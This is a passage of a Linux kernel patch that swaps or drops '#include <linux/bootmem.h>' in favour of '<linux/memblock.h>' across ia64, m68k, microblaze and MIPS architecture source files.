index 39f4433..bec762a9b 100644
--- a/arch/ia64/kernel/crash.c
+++ b/arch/ia64/kernel/crash.c
@@ -12,7 +12,7 @@
 #include <linux/smp.h>
 #include <linux/delay.h>
 #include <linux/crash_dump.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/kexec.h>
 #include <linux/elfcore.h>
 #include <linux/sysctl.h>
diff --git a/arch/ia64/kernel/efi.c b/arch/ia64/kernel/efi.c
index 9c09bf3..ed47d70 100644
--- a/arch/ia64/kernel/efi.c
+++ b/arch/ia64/kernel/efi.c
@@ -23,7 +23,7 @@
  *	Skip non-WB memory and ignore empty memory ranges.
  */
 #include <linux/module.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/crash_dump.h>
 #include <linux/kernel.h>
 #include <linux/init.h>
diff --git a/arch/ia64/kernel/ia64_ksyms.c b/arch/ia64/kernel/ia64_ksyms.c
index 6b51c88..b49fe6f 100644
--- a/arch/ia64/kernel/ia64_ksyms.c
+++ b/arch/ia64/kernel/ia64_ksyms.c
@@ -6,7 +6,7 @@
 #ifdef CONFIG_VIRTUAL_MEM_MAP
 #include <linux/compiler.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 EXPORT_SYMBOL(min_low_pfn);	/* defined by bootmem.c, but not exported by generic code */
 EXPORT_SYMBOL(max_low_pfn);	/* defined by bootmem.c, but not exported by generic code */
 #endif
diff --git a/arch/ia64/kernel/iosapic.c b/arch/ia64/kernel/iosapic.c
index 550243a..fe6e494 100644
--- a/arch/ia64/kernel/iosapic.c
+++ b/arch/ia64/kernel/iosapic.c
@@ -90,7 +90,7 @@
 #include <linux/slab.h>
 #include <linux/smp.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/delay.h>
 #include <asm/hw_irq.h>
diff --git a/arch/ia64/kernel/mca.c b/arch/ia64/kernel/mca.c
index 7120976..9a6603f 100644
--- a/arch/ia64/kernel/mca.c
+++ b/arch/ia64/kernel/mca.c
@@ -77,7 +77,7 @@
 #include <linux/sched/task.h>
 #include <linux/interrupt.h>
 #include <linux/irq.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/acpi.h>
 #include <linux/timer.h>
 #include <linux/module.h>
diff --git a/arch/ia64/kernel/mca_drv.c b/arch/ia64/kernel/mca_drv.c
index dfe40cb..45f956a 100644
--- a/arch/ia64/kernel/mca_drv.c
+++ b/arch/ia64/kernel/mca_drv.c
@@ -14,7 +14,7 @@
 #include <linux/interrupt.h>
 #include <linux/irq.h>
 #include <linux/kallsyms.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/acpi.h>
 #include <linux/timer.h>
 #include <linux/module.h>
diff --git a/arch/ia64/kernel/setup.c b/arch/ia64/kernel/setup.c
index 0e6c2d9..583a374 100644
--- a/arch/ia64/kernel/setup.c
+++ b/arch/ia64/kernel/setup.c
@@ -27,7 +27,6 @@
 #include <linux/init.h>
 
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
 #include <linux/console.h>
 #include <linux/delay.h>
 #include <linux/cpu.h>
diff --git a/arch/ia64/kernel/smpboot.c b/arch/ia64/kernel/smpboot.c
index 74fe317..51ec944 100644
--- a/arch/ia64/kernel/smpboot.c
+++ b/arch/ia64/kernel/smpboot.c
@@ -24,7 +24,7 @@
 
 #include <linux/module.h>
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/cpu.h>
 #include <linux/delay.h>
 #include <linux/init.h>
diff --git a/arch/ia64/kernel/topology.c b/arch/ia64/kernel/topology.c
index 9b820f7..e311ee13 100644
--- a/arch/ia64/kernel/topology.c
+++ b/arch/ia64/kernel/topology.c
@@ -19,7 +19,7 @@
 #include <linux/node.h>
 #include <linux/slab.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/nodemask.h>
 #include <linux/notifier.h>
 #include <linux/export.h>
diff --git a/arch/ia64/kernel/unwind.c b/arch/ia64/kernel/unwind.c
index e04efa0..7601fe0 100644
--- a/arch/ia64/kernel/unwind.c
+++ b/arch/ia64/kernel/unwind.c
@@ -28,7 +28,7 @@
  *	  acquired, then the read-write lock must be acquired first.
  */
 #include <linux/module.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/elf.h>
 #include <linux/kernel.h>
 #include <linux/sched.h>
diff --git a/arch/ia64/mm/contig.c b/arch/ia64/mm/contig.c
index 9e5c23a..6e44723 100644
--- a/arch/ia64/mm/contig.c
+++ b/arch/ia64/mm/contig.c
@@ -14,7 +14,6 @@
  * Routines used by ia64 machines with contiguous (or virtually contiguous)
  * memory.
  */
-#include <linux/bootmem.h>
 #include <linux/efi.h>
 #include <linux/memblock.h>
 #include <linux/mm.h>
diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
index 70609f8..8a96578 100644
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -19,7 +19,6 @@
 #include <linux/mm.h>
 #include <linux/nmi.h>
 #include <linux/swap.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/acpi.h>
 #include <linux/efi.h>
diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 43ea4a4..d5e12ff 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -8,7 +8,6 @@
 #include <linux/kernel.h>
 #include <linux/init.h>
 
-#include <linux/bootmem.h>
 #include <linux/efi.h>
 #include <linux/elf.h>
 #include <linux/memblock.h>
diff --git a/arch/ia64/mm/numa.c b/arch/ia64/mm/numa.c
index aa19b7a..3861d6e 100644
--- a/arch/ia64/mm/numa.c
+++ b/arch/ia64/mm/numa.c
@@ -15,7 +15,7 @@
 #include <linux/mm.h>
 #include <linux/node.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/module.h>
 #include <asm/mmzone.h>
 #include <asm/numa.h>
diff --git a/arch/ia64/mm/tlb.c b/arch/ia64/mm/tlb.c
index 5554863..ab545da 100644
--- a/arch/ia64/mm/tlb.c
+++ b/arch/ia64/mm/tlb.c
@@ -21,7 +21,7 @@
 #include <linux/sched.h>
 #include <linux/smp.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/slab.h>
 
 #include <asm/delay.h>
diff --git a/arch/ia64/pci/pci.c b/arch/ia64/pci/pci.c
index 7ccc64d..508a47a 100644
--- a/arch/ia64/pci/pci.c
+++ b/arch/ia64/pci/pci.c
@@ -20,7 +20,7 @@
 #include <linux/ioport.h>
 #include <linux/slab.h>
 #include <linux/spinlock.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 
 #include <asm/machvec.h>
diff --git a/arch/ia64/sn/kernel/bte.c b/arch/ia64/sn/kernel/bte.c
index 9146192..9900e6d 100644
--- a/arch/ia64/sn/kernel/bte.c
+++ b/arch/ia64/sn/kernel/bte.c
@@ -16,7 +16,7 @@
 #include <asm/nodedata.h>
 #include <asm/delay.h>
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/string.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
diff --git a/arch/ia64/sn/kernel/io_common.c b/arch/ia64/sn/kernel/io_common.c
index 8b05d55..98f5522 100644
--- a/arch/ia64/sn/kernel/io_common.c
+++ b/arch/ia64/sn/kernel/io_common.c
@@ -6,7 +6,7 @@
  * Copyright (C) 2006 Silicon Graphics, Inc. All rights reserved.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/slab.h>
 #include <asm/sn/types.h>
diff --git a/arch/ia64/sn/kernel/setup.c b/arch/ia64/sn/kernel/setup.c
index ab2564f..71ad6b0 100644
--- a/arch/ia64/sn/kernel/setup.c
+++ b/arch/ia64/sn/kernel/setup.c
@@ -20,7 +20,7 @@
 #include <linux/mm.h>
 #include <linux/serial.h>
 #include <linux/irq.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mmzone.h>
 #include <linux/interrupt.h>
 #include <linux/acpi.h>
diff --git a/arch/m68k/atari/stram.c b/arch/m68k/atari/stram.c
index 1089d67..6ffc204 100644
--- a/arch/m68k/atari/stram.c
+++ b/arch/m68k/atari/stram.c
@@ -17,7 +17,7 @@
 #include <linux/slab.h>
 #include <linux/vmalloc.h>
 #include <linux/pagemap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mount.h>
 #include <linux/blkdev.h>
 #include <linux/module.h>
diff --git a/arch/m68k/coldfire/m54xx.c b/arch/m68k/coldfire/m54xx.c
index adad03c..360c723 100644
--- a/arch/m68k/coldfire/m54xx.c
+++ b/arch/m68k/coldfire/m54xx.c
@@ -16,7 +16,7 @@
 #include <linux/io.h>
 #include <linux/mm.h>
 #include <linux/clk.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/pgalloc.h>
 #include <asm/machdep.h>
 #include <asm/coldfire.h>
diff --git a/arch/m68k/kernel/setup_mm.c b/arch/m68k/kernel/setup_mm.c
index 5d3596c..a1a3eae 100644
--- a/arch/m68k/kernel/setup_mm.c
+++ b/arch/m68k/kernel/setup_mm.c
@@ -20,7 +20,6 @@
 #include <linux/errno.h>
 #include <linux/string.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
diff --git a/arch/m68k/kernel/setup_no.c b/arch/m68k/kernel/setup_no.c
index cfd5475..3c5def1 100644
--- a/arch/m68k/kernel/setup_no.c
+++ b/arch/m68k/kernel/setup_no.c
@@ -27,7 +27,6 @@
 #include <linux/console.h>
 #include <linux/errno.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/init.h>
diff --git a/arch/m68k/kernel/uboot.c b/arch/m68k/kernel/uboot.c
index b29c3b2..db90354 100644
--- a/arch/m68k/kernel/uboot.c
+++ b/arch/m68k/kernel/uboot.c
@@ -16,7 +16,7 @@
 #include <linux/console.h>
 #include <linux/errno.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/init.h>
 #include <linux/initrd.h>
diff --git a/arch/m68k/mm/init.c b/arch/m68k/mm/init.c
index ae49ae4..933c33e 100644
--- a/arch/m68k/mm/init.c
+++ b/arch/m68k/mm/init.c
@@ -17,7 +17,7 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 
 #include <asm/setup.h>
diff --git a/arch/m68k/mm/mcfmmu.c b/arch/m68k/mm/mcfmmu.c
index 38a1d92..0de4999 100644
--- a/arch/m68k/mm/mcfmmu.c
+++ b/arch/m68k/mm/mcfmmu.c
@@ -13,7 +13,6 @@
 #include <linux/mm.h>
 #include <linux/init.h>
 #include <linux/string.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 
 #include <asm/setup.h>
diff --git a/arch/m68k/mm/motorola.c b/arch/m68k/mm/motorola.c
index 2113eec..7497cf3 100644
--- a/arch/m68k/mm/motorola.c
+++ b/arch/m68k/mm/motorola.c
@@ -18,7 +18,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/gfp.h>
 
diff --git a/arch/m68k/mm/sun3mmu.c b/arch/m68k/mm/sun3mmu.c
index 19c05ab..f736db4 100644
--- a/arch/m68k/mm/sun3mmu.c
+++ b/arch/m68k/mm/sun3mmu.c
@@ -16,7 +16,7 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/setup.h>
 #include <linux/uaccess.h>
diff --git a/arch/m68k/sun3/config.c b/arch/m68k/sun3/config.c
index 79a2bb8..542c440 100644
--- a/arch/m68k/sun3/config.c
+++ b/arch/m68k/sun3/config.c
@@ -15,7 +15,7 @@
 #include <linux/tty.h>
 #include <linux/console.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/platform_device.h>
 
 #include <asm/oplib.h>
diff --git a/arch/m68k/sun3/dvma.c b/arch/m68k/sun3/dvma.c
index 5f92c72..a2c1c93 100644
--- a/arch/m68k/sun3/dvma.c
+++ b/arch/m68k/sun3/dvma.c
@@ -11,7 +11,7 @@
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/list.h>
 #include <asm/page.h>
 #include <asm/pgtable.h>
diff --git a/arch/m68k/sun3/mmu_emu.c b/arch/m68k/sun3/mmu_emu.c
index d30da12..582a128 100644
--- a/arch/m68k/sun3/mmu_emu.c
+++ b/arch/m68k/sun3/mmu_emu.c
@@ -13,7 +13,7 @@
 #include <linux/kernel.h>
 #include <linux/ptrace.h>
 #include <linux/delay.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/bitops.h>
 #include <linux/module.h>
 #include <linux/sched/mm.h>
diff --git a/arch/m68k/sun3/sun3dvma.c b/arch/m68k/sun3/sun3dvma.c
index 72d9458..8be8b75 100644
--- a/arch/m68k/sun3/sun3dvma.c
+++ b/arch/m68k/sun3/sun3dvma.c
@@ -7,7 +7,7 @@
  * Contains common routines for sun3/sun3x DVMA management.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/module.h>
 #include <linux/kernel.h>
diff --git a/arch/m68k/sun3x/dvma.c b/arch/m68k/sun3x/dvma.c
index b2acbc8..89e630e 100644
--- a/arch/m68k/sun3x/dvma.c
+++ b/arch/m68k/sun3x/dvma.c
@@ -15,7 +15,7 @@
 #include <linux/init.h>
 #include <linux/bitops.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/vmalloc.h>
 
 #include <asm/sun3x.h>
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index c9a278a..b9d90ab 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -28,7 +28,7 @@
 #include <linux/vmalloc.h>
 #include <linux/init.h>
 #include <linux/delay.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/pci.h>
 #include <linux/interrupt.h>
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index 9989740..8c14988 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -7,10 +7,9 @@
  * for more details.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
-#include <linux/memblock.h>
 #include <linux/mm.h> /* mem_init */
 #include <linux/initrd.h>
 #include <linux/pagemap.h>
diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index 2ffd171..6b89a66 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -20,7 +20,7 @@
 #include <linux/pci.h>
 #include <linux/string.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mm.h>
 #include <linux/shmem_fs.h>
 #include <linux/list.h>
diff --git a/arch/mips/ar7/memory.c b/arch/mips/ar7/memory.c
index 0332f05..80390a9 100644
--- a/arch/mips/ar7/memory.c
+++ b/arch/mips/ar7/memory.c
@@ -16,7 +16,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/mm.h>
 #include <linux/pfn.h>
diff --git a/arch/mips/ath79/setup.c b/arch/mips/ath79/setup.c
index 4c7a93f..9728abc 100644
--- a/arch/mips/ath79/setup.c
+++ b/arch/mips/ath79/setup.c
@@ -14,7 +14,7 @@
 
 #include <linux/kernel.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/err.h>
 #include <linux/clk.h>
 #include <linux/clk-provider.h>
diff --git a/arch/mips/bcm63xx/prom.c b/arch/mips/bcm63xx/prom.c
index 7019e29..77a836e 100644
--- a/arch/mips/bcm63xx/prom.c
+++ b/arch/mips/bcm63xx/prom.c
@@ -7,7 +7,7 @@
  */
 
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/smp.h>
 #include <asm/bootinfo.h>
 #include <asm/bmips.h>
diff --git a/arch/mips/bcm63xx/setup.c b/arch/mips/bcm63xx/setup.c
index 2be9caa..e28ee9a 100644
--- a/arch/mips/bcm63xx/setup.c
+++ b/arch/mips/bcm63xx/setup.c
@@ -9,7 +9,7 @@
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/delay.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ioport.h>
 #include <linux/pm.h>
 #include <asm/bootinfo.h>
diff --git a/arch/mips/bmips/setup.c b/arch/mips/bmips/setup.c
index 231fc5c..301ccb8 100644
--- a/arch/mips/bmips/setup.c
+++ b/arch/mips/bmips/setup.c
@@ -9,7 +9,7 @@
 
 #include <linux/init.h>
 #include <linux/bitops.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/clk-provider.h>
 #include <linux/ioport.h>
 #include <linux/kernel.h>
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index c44c1a6..e8eb60e 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -11,7 +11,7 @@
  * Copyright (C) 2010 Cavium Networks, Inc.
  */
 #include <linux/dma-direct.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/swiotlb.h>
 #include <linux/types.h>
 #include <linux/init.h>
diff --git a/arch/mips/dec/prom/memory.c b/arch/mips/dec/prom/memory.c
index a2acc64..5073d2e 100644
--- a/arch/mips/dec/prom/memory.c
+++ b/arch/mips/dec/prom/memory.c
@@ -8,7 +8,7 @@
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/types.h>
 
 #include <asm/addrspace.h>
diff --git a/arch/mips/emma/common/prom.c b/arch/mips/emma/common/prom.c
index cae4225..675337b 100644
--- a/arch/mips/emma/common/prom.c
+++ b/arch/mips/emma/common/prom.c
@@ -22,7 +22,7 @@
 #include <linux/init.h>
 #include <linux/mm.h>
 #include <linux/sched.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/addrspace.h>
 #include <asm/bootinfo.h>
diff --git a/arch/mips/fw/arc/memory.c b/arch/mips/fw/arc/memory.c
index dd9496f..429b7f8 100644
--- a/arch/mips/fw/arc/memory.c
+++ b/arch/mips/fw/arc/memory.c
@@ -17,7 +17,7 @@
 #include <linux/types.h>
 #include <linux/sched.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/swap.h>
 
 #include <asm/sgialib.h>
diff --git a/arch/mips/jazz/jazzdma.c b/arch/mips/jazz/jazzdma.c
index d31bc2f..c07f097 100644
--- a/arch/mips/jazz/jazzdma.c
+++ b/arch/mips/jazz/jazzdma.c
@@ -13,7 +13,7 @@
 #include <linux/export.h>
 #include <linux/errno.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/spinlock.h>
 #include <linux/gfp.h>
 #include <linux/dma-direct.h>
diff --git a/arch/mips/kernel/crash.c b/arch/mips/kernel/crash.c
index d455363..19352ae 100644
--- a/arch/mips/kernel/crash.c
+++ b/arch/mips/kernel/crash.c
@@ -3,7 +3,7 @@
 #include <linux/smp.h>
 #include <linux/reboot.h>
 #include <linux/kexec.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/crash_dump.h>
 #include <linux/delay.h>
 #include <linux/irq.h>
diff --git a/arch/mips/kernel/crash_dump.c b/arch/mips/kernel/crash_dump.c
index a8657d2..01b2bd9 100644
--- a/arch/mips/kernel/crash_dump.c
+++ b/arch/mips/kernel/crash_dump.c
@@ -1,6 +1,6 @@
 // SPDX-License-Identifier: GPL-2.0
 #include <linux/highmem.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/crash_dump.h>
 #include <linux/uaccess.h>
 #include <linux/slab.h>
diff --git a/arch/mips/kernel/prom.c b/arch/mips/kernel/prom.c
index 89950b7..93b8e0b 100644
--- a/arch/mips/kernel/prom.c
+++ b/arch/mips/kernel/prom.c
@@ -12,7 +12,7 @@
 #include <linux/export.h>
 #include <linux/errno.h>
 #include <linux/types.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/debugfs.h>
 #include <linux/of.h>
 #include <linux/of_fdt.h>
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 86c9eda..4efa8af 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -15,7 +15,6 @@
 #include <linux/export.h>
 #include <linux/screen_info.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/initrd.h>
 #include <linux/root_dev.h>
 #include <linux/highmem.h>
diff --git a/arch/mips/kernel/traps.c b/arch/mips/kernel/traps.c
index 623dc18..0f852e1 100644
--- a/arch/mips/kernel/traps.c
+++ b/arch/mips/kernel/traps.c
@@ -28,7 +28,6 @@
 #include <linux/smp.h>
 #include <linux/spinlock.h>
 #include <linux/kallsyms.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/interrupt.h>
 #include <linux/ptrace.h>
diff --git a/arch/mips/kernel/vpe.c b/arch/mips/kernel/vpe.c
index 0bef238..6176b9a 100644
--- a/arch/mips/kernel/vpe.c
+++ b/arch/mips/kernel/vpe.c
@@ -26,7 +26,7 @@
 #include <linux/moduleloader.h>
 #include <linux/interrupt.h>
 #include <linux/poll.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/mipsregs.h>
 #include <asm/mipsmtregs.h>
 #include <asm/cacheflush.h>
diff --git a/arch/mips/kvm/commpage.c b/arch/mips/kvm/commpage.c
index f436299..5812e61 100644
--- a/arch/mips/kvm/commpage.c
+++ b/arch/mips/kvm/commpage.c
@@ -14,7 +14,7 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/page.h>
 #include <asm/cacheflush.h>
 #include <asm/mmu_context.h>
diff --git a/arch/mips/kvm/dyntrans.c b/arch/mips/kvm/dyntrans.c
index f8e7725..d77b61b 100644
--- a/arch/mips/kvm/dyntrans.c
+++ b/arch/mips/kvm/dyntrans.c
@@ -16,7 +16,7 @@
 #include <linux/uaccess.h>
 #include <linux/vmalloc.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/cacheflush.h>
 
 #include "commpage.h"
diff --git a/arch/mips/kvm/emulate.c b/arch/mips/kvm/emulate.c
index 4144bfa..ec9ed23 100644
--- a/arch/mips/kvm/emulate.c
+++ b/arch/mips/kvm/emulate.c
@@ -15,7 +15,7 @@
 #include <linux/kvm_host.h>
 #include <linux/vmalloc.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/random.h>
 #include <asm/page.h>
 #include <asm/cacheflush.h>
diff --git a/arch/mips/kvm/interrupt.c b/arch/mips/kvm/interrupt.c
index aa0a1a0..7257e8b6 100644
--- a/arch/mips/kvm/interrupt.c
+++ b/arch/mips/kvm/interrupt.c
@@ -13,7 +13,7 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/page.h>
 #include <asm/cacheflush.h>
 
diff --git a/arch/mips/kvm/mips.c b/arch/mips/kvm/mips.c
index f7ea8e2..1fcc4d1 100644
--- a/arch/mips/kvm/mips.c
+++ b/arch/mips/kvm/mips.c
@@ -18,7 +18,7 @@
 #include <linux/vmalloc.h>
 #include <linux/sched/signal.h>
 #include <linux/fs.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/fpu.h>
 #include <asm/page.h>
diff --git a/arch/mips/lantiq/prom.c b/arch/mips/lantiq/prom.c
index d984bd5..14d4c5e 100644
--- a/arch/mips/lantiq/prom.c
+++ b/arch/mips/lantiq/prom.c
@@ -8,7 +8,7 @@
 
 #include <linux/export.h>
 #include <linux/clk.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/of_fdt.h>
 
 #include <asm/bootinfo.h>
diff --git a/arch/mips/lasat/prom.c b/arch/mips/lasat/prom.c
index 37b8fc5..5ce1407 100644
--- a/arch/mips/lasat/prom.c
+++ b/arch/mips/lasat/prom.c
@@ -8,7 +8,7 @@
 #include <linux/ctype.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ioport.h>
 #include <asm/bootinfo.h>
 #include <asm/lasat/lasat.h>
diff --git a/arch/mips/loongson64/common/init.c b/arch/mips/loongson64/common/init.c
index 6ef1712..c073fbc 100644
--- a/arch/mips/loongson64/common/init.c
+++ b/arch/mips/loongson64/common/init.c
@@ -8,7 +8,7 @@
  * option) any later version.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <asm/bootinfo.h>
 #include <asm/traps.h>
 #include <asm/smp-ops.h>
diff --git a/arch/mips/loongson64/loongson-3/numa.c b/arch/mips/loongson64/loongson-3/numa.c
index 703ad45..6227618 100644
--- a/arch/mips/loongson64/loongson-3/numa.c
+++ b/arch/mips/loongson64/loongson-3/numa.c
@@ -18,7 +18,6 @@
 #include <linux/nodemask.h>
 #include <linux/swap.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/pfn.h>
 #include <linux/highmem.h>
 #include <asm/page.h>
diff --git a/arch/mips/mm/init.c b/arch/mips/mm/init.c
index 54c36be..1e3df58 100644
--- a/arch/mips/mm/init.c
+++ b/arch/mips/mm/init.c
@@ -22,7 +22,7 @@
 #include <linux/ptrace.h>
 #include <linux/mman.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <linux/swap.h>
 #include <linux/proc_fs.h>
diff --git a/arch/mips/mm/pgtable-32.c b/arch/mips/mm/pgtable-32.c
index b19a3c5..e2a33ad 100644
--- a/arch/mips/mm/pgtable-32.c
+++ b/arch/mips/mm/pgtable-32.c
@@ -7,7 +7,7 @@
  */
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/highmem.h>
 #include <asm/fixmap.h>
 #include <asm/pgtable.h>
diff --git a/arch/mips/mti-malta/malta-memory.c b/arch/mips/mti-malta/malta-memory.c
index a475567..868921a 100644
--- a/arch/mips/mti-malta/malta-memory.c
+++ b/arch/mips/mti-malta/malta-memory.c
@@ -12,7 +12,7 @@
  *          Steven J. Hill <sjhill@mips.com>
  */
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/string.h>
 
 #include <asm/bootinfo.h>
diff --git a/arch/mips/netlogic/xlp/dt.c b/arch/mips/netlogic/xlp/dt.c
index b5ba83f..c856f2a 100644
--- a/arch/mips/netlogic/xlp/dt.c
+++ b/arch/mips/netlogic/xlp/dt.c
@@ -33,7 +33,7 @@
  */
 
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <linux/of_fdt.h>
 #include <linux/of_platform.h>
diff --git a/arch/mips/pci/pci-legacy.c b/arch/mips/pci/pci-legacy.c
index f1e92bf..efc4f78a 100644
--- a/arch/mips/pci/pci-legacy.c
+++ b/arch/mips/pci/pci-legacy.c
@@ -11,7 +11,7 @@
 #include <linux/bug.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/init.h>
 #include <linux/types.h>
diff --git a/arch/mips/pci/pci.c b/arch/mips/pci/pci.c
index c2e94cf..e68b44b 100644
--- a/arch/mips/pci/pci.c
+++ b/arch/mips/pci/pci.c
@@ -11,7 +11,7 @@
 #include <linux/bug.h>
 #include <linux/kernel.h>
 #include <linux/mm.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/init.h>
 #include <linux/types.h>
diff --git a/arch/mips/ralink/of.c b/arch/mips/ralink/of.c
index 1ada849..d544e7b 100644
--- a/arch/mips/ralink/of.c
+++ b/arch/mips/ralink/of.c
@@ -14,7 +14,7 @@
 #include <linux/sizes.h>
 #include <linux/of_fdt.h>
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/of_platform.h>
 #include <linux/of_address.h>
 
diff --git a/arch/mips/rb532/prom.c b/arch/mips/rb532/prom.c
index 6484e4a..361a690 100644
